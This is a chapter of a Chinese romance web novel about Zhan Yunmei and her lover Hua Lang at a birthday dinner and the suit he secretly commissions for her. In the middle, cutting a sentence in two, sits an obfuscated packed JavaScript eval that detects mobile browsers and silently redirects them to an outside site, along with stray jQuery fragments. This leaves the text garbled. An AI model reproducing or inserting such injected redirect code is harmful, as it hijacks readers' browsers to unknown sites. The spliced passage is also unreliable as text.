点击按键,结束录制,这一段只有几秒钟的视频就这样被保存下来,詹云湄把视频传给自己一份,这一份原版就保留在华琅的手机里。
她不打算告诉他,他什么时候发现那是他的事,删不删也是他的事。
这一段小小的突发事件过去,她也没什么心思去看他手机里的消息了,于是就这样熄了屏,放回原处。
华琅在闹了一通之后,慢慢地又闭上眼睡觉,詹云湄怀疑如果不喊他,他可以睡到晚上。
下午四点多,实在是肩膀酸,詹云湄把黏着她的人一股劲儿推出去,开始换衣服,预备今晚的晚宴。
等詹云湄换完衣服,扎好头发,因为这几天作息不太好,简单化了个妆,修饰脸色。
镜子里浮现出一个睡得头发乱糟糟的人,明明睡姿很好的,却因为胡闹一通,把头发弄成了鸡窝。
詹云湄注视镜子中那个逐渐靠近的人,他最后停在了她身后,睡眼惺忪地弯下腰,伏在她背后,双臂穿过颈肩,紧紧抱住她。
“怎么?你也想化个妆?”詹云湄放下口红,侧头亲华琅,他躲了下,唇印便留在了他唇边。
其实不光是她,连华琅偶尔脸色差也会化妆,不过他不会化浓妆,也只是扑一些粉底,化一化眉毛。
浅浅的粉黛在脸上,并不会让男人看起来古怪,部分女人重视自己的外在会用化妆品修饰,男人也如此。
“唔……不要,”华琅就这样伏了会儿,应该是清醒了,就不再抱她了。
这时他直起身一瞧,唇边留了个口红印,他对刚才是没什么记忆的,也可以说他一直都不怎么记得刚睡醒的时候的事。
华琅还以为是詹云湄强着他亲,不禁皱皱眉。
詹云湄弯了弯唇角,她知道他这个习惯,并没戳穿。
她现在转头一想,他不适合她的妆品,他太白了,用她的气垫粉饼,反而让他没那么白。
同样是因为皮肤太白,一熬夜一纵/欲,那脸上黑眼圈简直明显得离谱,像她詹云湄榨干他似的。
“好了,去换衣服,晚上我们要去吃饭,梁戎满二十一,给他办了场晚宴,”詹云湄知道华琅要生气,提前先说,“不去不行,你是我恋人,作长辈出面的,不能甩脸子。”
她捏他的脸,用了不小劲儿,捏得人脸颊直冒红,他才不情不愿说:“哦。”
虽然嘴上只有一个哦字,其实华琅挺暗喜的,詹云湄和他作长辈出面,和那臭小三压根就不是一个地位,也就没什么争的必要了,他赢在起跑线上了。
……
酒楼35层,透明天顶,站在宽大的阳台可以纵揽大草原,夜里的北元和盛灯如繁星的京城不同,这里的夜晚几乎没有城市灯光,夜景是一种辽阔而静谧的美,仰望苍穹,星子密如繁织。
空气没有阻挡,以最纯粹的清新舒爽传入鼻息。
晚宴即将开始,菜肴逐渐摆上大圆桌。
梁戎今天的生日没有邀请太多人,除去来到庄园的几个人,另就是詹雁赶了过来给他庆生。
别的亲戚朋友几乎没有,他生日不止一场宴,今天的宴就这些人。
华琅站在阳台吹冷风,高原的野风凛凛吹刮,吹得他额上几缕发丝凌乱。
他今晚梳的个背头,詹云湄给他梳的。
背头这个东西,最显年龄,十八的梳成二十五,十二五的梳成三十五,一派老成模样。
他挺乐意的,正好让某个人知道,某人太小了,和她之间差辈儿了。
“进来,准备吃饭了。”
背后,温缓声嗓唤他,没有催促,很普通地说一声。
华琅转过身,跟在詹云湄身侧,由她握着手入内。
詹雁也在,华琅就不敢搞什么小动作,像一只总是咬人挠人的坏猫被套上了伊丽莎白圈,剪掉爪子长指甲。
一派乖顺样。
都是熟人,不走形式主义,落座后就自己用自己的餐。
这期间欢声笑语,调侃打骂,并不入华琅的耳,氛围真是热闹极了,他耳边却仿佛有道隐形屏障似的,把一切都隔离开了。
整个世界便只剩下偷瞄詹云湄,以及吃碗里她塞来的食物。
华琅嘴挑到的一种程度,不吃腥臊食物,不吃味道大的食物,不吃绝大部分海鲜,不吃绝大部分河湖食物。
他就没几个能吃的。
“这个炒鲜笋很不错,”詹云湄用公筷往华琅碗里夹来几片笋丝。
她很完美地包容他这个缺点,或者说这些小事在她眼里不算缺点,虽然他的从前很清贫,但这些年他慢慢养着自己,已经成了个很娇贵的人。
娇贵点的猫,当然是吃不下大部分普通食物的,嘴挑一点又怎么样呢,他观赏性和互动性够强就行了。
“呛炒西兰花,吃不吃?”詹云湄指了指她碗里的一颗绿西兰花。
华琅摇摇头,“太辣了。”
“嗯,玉米排骨汤喝不喝?”
“好。”
他点头了,她就拿汤勺来舀。
他们坐在包厢靠内,两个人挤着坐,声音也小,不刻意去看他们,几乎注意不到。
华琅很喜欢她照顾他的感觉,但介于詹云湄的妈妈还在,他也就摇摇头,“我自己来。”
晚餐没有吃多少,詹云湄给梁戎订了一个蛋糕,服务员将蛋糕拎进来,点上蜡烛,退到门口将灯关掉。
整间房间只剩下那几盏蜡烛灯火,烛光一晃一晃,映得人眼睛很亮。
梁戎拉走了詹云湄,华琅就退到房间最内,不动声色地观察梁戎。
但凡梁戎有一个小动作,詹云湄还敢回应,他就去吊死。
不过,不知道怎么的,今天的詹云湄对他人的疏离程度比华琅想象的要高得多,她脸上笑容十分客套。
梁戎默许愿望,随后吹熄蜡烛,在那片昏黄的灯火熄灭前夕,詹云湄似乎看了过来,即将与华琅对视。
蜡烛熄了。
“生日快乐,”齐声祝贺。
切蛋糕时,华琅借口去卫生间,匆忙忙出了包厢,他一点也不想吃那蛋糕,因为那是梁戎的,他看他哪哪都不顺眼。
他拐出包厢,并没有去卫生间,走到酒店观景台上,打开了手机。
前段时间他托人联系到一名服装设计师,这名设计师在制定西装上别具匠心,风格独特。
詹云湄送给华琅太多太多,华琅接受不了单方面索取,他也想送她点什么。
然而她有自己爱用的香水,妆品,饰品,她什么都不缺,他真的找不到送什么,而且无论送什么,都比不上她原先那些东西的价值。
思来想去,华琅还是打算送她一套西装,她总应酬,正装必不可缺。
虽然她衣柜里全是,但总有全部穿过的一天是吧。
这名设计师独特之处在于,哪怕顾客是一名连火柴人都画得乱七八糟的灵魂画手,她也有她的方式,把顾客的想法、绘画,融入服装,制成一套独一无二的高定服饰。
就是价钱有些不堪看。
不过比起詹云湄给的那些,这点钱也算不上什么了。
初始设计稿已经打好,设计师发来消息问是否还需要修改,华琅放大照片看了下,图案不多,重在精简。
华琅:“好,没问题。”
设计师发了个ok表情,随后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296708|198567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“尺码记得发来~之前的服装尺码不行,需要本人精准尺码,尽快哦!”
华琅:“好。”
他有些犯愁,詹云湄的数据他并不知道,他只量了她的衣服。
不能趁詹云湄睡着时量,她很快就会醒的,他没机会量。
直接问?他又有点不好意思。
华琅咬着唇思考,不知不觉间翻开了和詹云湄的聊天框,聊天框里,他自己这边发了一个视频。
注意力散开,不禁犯起疑惑,他从来没发过什么视频,于是点开一看,看见视频里的自己躺在床上,迷糊着说话。
顿时气得华琅脑袋冒烟,他将聊天记录删除,骂她:“流氓!”
骂完又觉得没什么意思,他气着了,她的目的可不就达到了?
华琅啧了声,轻轻点她的头像,开始监视她的朋友圈。
实话讲来,自认识詹云湄以来,他从来没看过她的朋友圈,以至于除了梁家以外,他对她的社交圈子很陌生。
朋友圈没有限制,他可以监视个痛快。
然而她很少使用这些功能,工作号上全是例行发布各种神似传销的东西,私人账号上几乎从未发布。
往下翻,唯一一条是接近两年前,她拍下了一条芯片发布会的照片,华琅记得这场发布会,是他所在的前公司研发出一种新型芯片,董事长出席的一场发布会,他当时跟着董事长,也在这场会上。
什么文案都没有,只一张发布会的照片,聚光灯聚焦于展会台上,一束微蓝的光是整场唯一光源。
华琅不知道这张照片有什么意义,再往下,什么都没有了。
“一个人跑出来干什么?”
背后突然一声传来,华琅连忙收手机,藏在身后,转过身凶道:“你什么时候拍的视频!”
詹云湄轻一挑眉,“发现了?还挺快。”
“谁让你拍的!”华琅气得眉毛直拧。
“怎么?我拍拍也不行?华秘也太小气了,”她这说着,分散他注意力,一手钻到他背后,夺来手机,“看什么呢这么入迷。”
手机还没熄屏,她一眼便发现他又在视监,她笑了笑,“很好奇的话,为什么不来问我?”
“我才不好奇,我只是点错了,还我!”华琅往前扑,想抢回来,她却不肯还。
这样一点一点扑,她一点一点退,不知不觉间将她挤在墙前,高瘦的身影压过她。
他这位置,其实是个上位者的位置,可一丝上位的气势也没有,因为他本来就不是故意的。
是詹云湄在不停引诱、不停训导,让这只单纯的猫儿伸出爪子挠人。
华琅登时一惊,赶紧后撤,詹云湄眉眼化开笑意,指了指手机屏幕上的照片,照片最边缘角落,有个极小的黑影。
她促狭说:“这是你,我看见你的第一眼就喜欢你,或许是一见钟情吧?”
他没说话,也没点头,脑子犯混沌,眼前晕眩,实在是不肯相信她会对他这样的人一见钟情。
这种话,没少听了,每每听见,心里还是一阵悸动,倒显得像十七八岁的孩子一样青涩稚嫩。
末了,华琅红着脸,把手机抢回来,嘀咕着骂:“明明是见我的第一眼就想……”
以前骂她还觉得理直气壮,现在骂也不知道怎么骂出口了,那两个字做出口就觉得羞耻。
“嗯,也对,”她不否认。
她听得懂他未尽之言,她现在只想回别墅,于是牵过他手,给梁汝贞发了条消息,告诉她,他们先走了。
“去哪儿?”华琅问。
詹云湄说:“回别墅,去做我见到你第一眼就想做的事。”